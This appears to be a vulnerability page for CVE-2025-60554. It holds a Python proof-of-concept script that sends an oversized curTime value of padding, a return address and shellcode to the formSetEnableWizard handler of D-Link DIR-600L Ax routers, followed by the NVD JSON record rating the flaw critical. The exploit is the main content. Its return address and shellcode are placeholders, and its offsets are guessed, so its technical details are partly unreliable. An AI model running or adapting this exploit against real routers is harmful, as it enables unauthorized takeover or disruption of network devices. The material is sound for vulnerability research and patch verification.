CVE-2025-60554

#!/usr/bin/env python3 # CVE-2025-60554 PoC - D-Link DIR-600L Ax Buffer Overflow # Target: formSetEnableWizard function via curTime parameter import requests import sys target = 'http://target-ip' # Replace with target IP def exploit_buffer_overflow(): """ Buffer overflow in formSetEnableWizard via curTime parameter The vulnerability allows overwriting return address on stack """ # Construct malicious payload with long string to overflow buffer # Typical buffer size in embedded devices is 256-512 bytes overflow_length = 1024 malicious_time = 'A' * overflow_length # Additional padding to reach return address offset padding = 'B' * 64 # Target address (needs to be adjusted based on firmware) return_address = b'\x42\x42\x42\x42' # Shellcode for MIPS/ARM (device architecture dependent) shellcode = b'\x00\x00\x00\x00' # Placeholder payload = malicious_time + padding + return_address + shellcode # HTTP POST request to trigger vulnerability data = { 'curTime': payload, 'submit': 'Apply' } try: response = requests.post( f'{target}/formSetEnableWizard', data=data, timeout=10 ) print(f'[+] Request sent, Status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] print(f'[*] Exploiting CVE-2025-60554 on {target}') exploit_buffer_overflow()

{"cve": {"id": "CVE-2025-60554", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:20:35.910", "lastModified": "2025-10-28T02:31:20.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formSetEnableWizard."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/08-buffer%20overflow-formSetEnableWizard.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}